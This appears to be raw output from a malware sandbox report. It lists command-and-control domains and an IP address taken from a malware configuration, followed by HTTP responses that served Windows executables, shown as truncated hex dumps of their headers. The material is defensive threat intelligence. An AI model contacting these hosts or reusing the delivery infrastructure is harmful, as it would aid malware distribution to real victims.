Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:50:17 GMTContent-Type: application/octet-streamContent-Length: 2799104Last-Modified: Fri, 01 Nov 2024 07:45:47 GMTConnection: keep-aliveETag: "6724872b-2ab600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 36 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 6d 68 67 69 74 64 6f 00 60 2a 00 00 a0 00 00 00 54 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 74 7a 69 73 6d 71 61 00 20 00 00 00 00 2b 00 00 06 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 94 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:50:20 GMTContent-Type: application/octet-streamContent-Length: 1874432Last-Modified: Fri, 01 Nov 2024 07:49:17 GMTConnection: keep-aliveETag: "672487fd-1c9a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 4a 00 00 04 00 00 aa 5f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 0d 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 0d 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 62 68 75 77 73 6b 66 00 80 19 00 00 90 30 00 00 7e 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 68 70 68 78 73 61 72 00 10 00 00 00 10 4a 00 00 04 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 4a 00 00 22 00 00 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:09 GMTContent-Type: application/octet-streamContent-Length: 3069952Last-Modified: Fri, 01 Nov 2024 07:48:57 GMTConnection: keep-aliveETag: "672487e9-2ed800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 32 00 00 04 00 00 d8 80 2f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 6f 6c 63 74 6d 69 63 00 20 2c 00 00 b0 05 00 00 1c 2c 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 6f 7a 61 6f 77 74 71 00 10 00 00 00 d0 31 00 00 06 00 00 00 b0 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 31 00 00 22 00 00 00 b6 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:32 GMTContent-Type: application/octet-streamContent-Length: 2159616Last-Modified: Fri, 01 Nov 2024 07:49:10 GMTConnection: keep-aliveETag: "672487f6-20f400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 c0 73 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 73 00 00 04 00 00 65 a7 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 63 75 74 61 75 61 79 00 50 1a 00 00 60 59 00 00 44 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6e 6a 70 69 63 67 63 00 10 00 00 00 b0 73 00 00 04 00 00 00 ce 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 73 00 00 22 00 00 00 d2 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:41 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Fri, 01 Nov 2024 07:45:19 GMTConnection: keep-aliveETag: "6724870f-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 07 87 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 7c 00 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:46 GMTContent-Type: application/octet-streamContent-Length: 2799104Last-Modified: Fri, 01 Nov 2024 07:45:47 GMTConnection: keep-aliveETag: "6724872b-2ab600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 36 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 6d 68 67 69 74 64 6f 00 60 2a 00 00 a0 00 00 00 54 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 74 7a 69 73 6d 71 61 00 20 00 00 00 00 2b 00 00 06 00 00 00 8e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 94 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 07:51:49 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
